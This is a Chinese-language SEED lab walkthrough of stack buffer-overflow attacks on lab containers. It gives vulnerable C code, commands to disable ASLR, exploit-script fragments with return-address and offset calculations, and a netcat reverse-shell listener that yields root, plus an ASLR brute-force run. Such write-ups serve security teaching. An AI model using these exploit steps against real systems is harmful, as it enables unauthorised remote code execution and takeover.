SEED(2)-缓冲区溢出攻击(Buffer-Overflow Attack)

1. 漏洞原理

漏洞代码示例：

#include<string.h> void foo(char *str) { char buffer[12]; strcpy(buffer, str); } int main() { char *str = "This is definitely longer than 12"; foo(str); return 1; }

当把str的内容copy到buffer中，由于str的长度大于12，就会造成缓冲区buffer的溢出，str中多出的部分会存放在缓冲区的上方，我们的目的就是将代码植入到此处，然后让函数的return Address指向我们存放代码的地址A来执行code！

A：code的起始地址

Nop：指令为0x90，执行该指令时什么都不做，一直往下执行。(在code与foo()之间填满Nop，便于找到地址A，return Address一旦指向其中一个Nop，就会执行到code的地址A)

2. 实验准备

下载实验所需文件：https://wwr.lanzoui.com/iUn5vql6ine

进入到/Buffer_Overflow/Labsetup/server-code路径下，执行：

$ make $ make install

$ cd .. #进入/Labsetup目录 $ dcbuild $ dcup

关闭防范机制：memory randomization

$ sudo sysctl -w kernel.randomize_va_space=0

3. Level 1 Attack:Get the Parameters(获取参数)

$ echo hello | nc 10.9.0.5 9090 ^C

若执行两次打印出的结果一致且输出地址为0xffffxxxx，则说明memory randomization已关闭；

Container Console

server-1-10.9.0.5 | Got a connection from 10.9.0.1 server-1-10.9.0.5 | Starting stack server-1-10.9.0.5 | Input size: 6 server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd108 server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd098 server-1-10.9.0.5 | ==== Returned Properly ==== server-1-10.9.0.5 | Got a connection from 10.9.0.1 server-1-10.9.0.5 | Starting stack server-1-10.9.0.5 | Input size: 6 server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd108 server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd098 server-1-10.9.0.5 | ==== Returned Properly ====

$ cd /Buffer_Overflow/Files
$ vim exploit-L1.py

然后利用ebp 和 Buffer address 计算A的地址(ret)和offset：

ret(A) = 0xffffd108 + 8（min(A) = ebp + 8；max(A) = 517 - len(code)）

offset = 0xffffd108 - 0xffffd098 + 4 = 116(十进制)

修改exploit-L1.py中ret和offset的值并保退出；然后运行：

$ python3 exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090

Container Console

server-1-10.9.0.5 | Got a connection from 10.9.0.1 server-1-10.9.0.5 | Starting stack server-1-10.9.0.5 | Input size: 517 server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd428 server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd3b8 server-1-10.9.0.5 | (^_^) SUCCESS SUCCESS (^_^)

若出现上面'(^_^) SUCCESS SUCCESS (^_^)'，说明成功！

Get Revere Shell

修改exploit-L1.py文件ret和A的值：

################################################################## # Put the shellcode at the end content[517-len(shellcode):] = shellcode # You need to find the correct address # This should be the first instruction you want to return to ret = 0xffffd428+40 # You need to calculate the offset offset = 116 L = 4 # Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') ##################################################################

新建一个命令行窗口输入$ nc -lnv 7070开启监听

在另外一个窗口向server发送badfile文件

$ python3 exploit-L1.py $ cat badfile | nc 10.9.0.5 9090

监听窗口输出以下内容，说明成功获取Revere Shell；

Listening on 0.0.0.0 7070 Connection received on 10.9.0.5 51582 root@ec5152748270:/bof# 

4. Level 2 Attack : Buffer Size Unknown

$ echo hello | nc 10.9.0.6 9090 ^C

Container Console

server-2-10.9.0.6 | Got a connection from 10.9.0.1 server-2-10.9.0.6 | Starting stack server-2-10.9.0.6 | Input size: 6 server-2-10.9.0.6 | Buffer's address inside bof(): 0xffffd368 server-2-10.9.0.6 | ==== Returned Properly ====

修改exploit-L2.py文件ret和S的值:

S：ref的个数 = buffersize/4(一个ref为4字节)

ret：BufferAddress + buffersize

################################################################## # Put the shellcode at the end of the buffer content[517-len(shellcode):] = shellcode # You need to find the correct address # This should be the first instruction you want to return to ret = 0xffffd368+360 # Spray the buffer with S number of return addresses # You need to decide the S value S = 90 for offset in range(S): content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder='little') ##################################################################

$ python3 exploit-L2.py $ cat badfile | nc 10.9.0.6 9090

Container Console

server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack server-2-10.9.0.6 | Input size: 517 server-2-10.9.0.6 | Buffer's address inside bof(): 0xffffd368 server-2-10.9.0.6 | (^_^) SUCCESS SUCCESS (^_^)

5. Attack: 64-bit Server

原理：

• 

• 

$ echo hello | nc 10.9.0.7 9090 ^C

Container Console

server-3-10.9.0.7 | Got a connection from 10.9.0.1 server-3-10.9.0.7 | Starting stack server-3-10.9.0.7 | Input size: 517 server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2d0 server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffffe200

修改exploit-L3.py文件中的start，ret和offset；

start = 40

offset = ebp - buffer + 8

ret = [buffer，buffer + 40]范围之间任选一个

$ python3 exploit-L3.py
$ cat badfile | nc 10.9.0.7 9090

Container Console

server-3-10.9.0.7 | Got a connection from 10.9.0.1 server-3-10.9.0.7 | Starting stack server-3-10.9.0.7 | Input size: 517 server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2d0 server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffffe200 server-3-10.9.0.7 | (^_^) SUCCESS SUCCESS (^_^)

6. Level 4 Attack: Small Buffer(64-bit)

$ echo hello | nc 10.9.0.8 9090 ^C

Container Console

server-4-10.9.0.8 | Got a connection from 10.9.0.1 server-4-10.9.0.8 | Starting stack server-4-10.9.0.8 | Input size: 6 server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2b0 server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe250 server-4-10.9.0.8 | ==== Returned Properly ====

修改exploit-L4.py文件

ret = rbp + 1200

$ python3 exploit-L4.py $ cat badfile | nc 10.9.0.8 9090

Container Console

server-4-10.9.0.8 | Got a connection from 10.9.0.1 server-4-10.9.0.8 | Starting stack server-4-10.9.0.8 | Input size: 517 server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2b0 server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe250 server-4-10.9.0.8 | (^_^) SUCCESS SUCCESS (^_^)

开启防范机制

$ sudo sysctl -w kernel.randomize_va_space=2

执行$ nc -lnv 7070开启监听

Listening on 0.0.0.0 7070 

修改exploit为reverse shell

新建一个命令行窗口：

$ python3 exploit-L1.py $ chmod u+x brute-force.sh $ ./brute-force.sh

我这里总共用时8分12秒：

8 minutes and 12 seconds elapsed. The program has been running 27296 times so far. 8 minutes and 12 seconds elapsed. The program has been running 27297 times so far.

成功后监听窗口会返回shell

Connection received on 10.9.0.5 51372 root@ec5152748270:/bof# 

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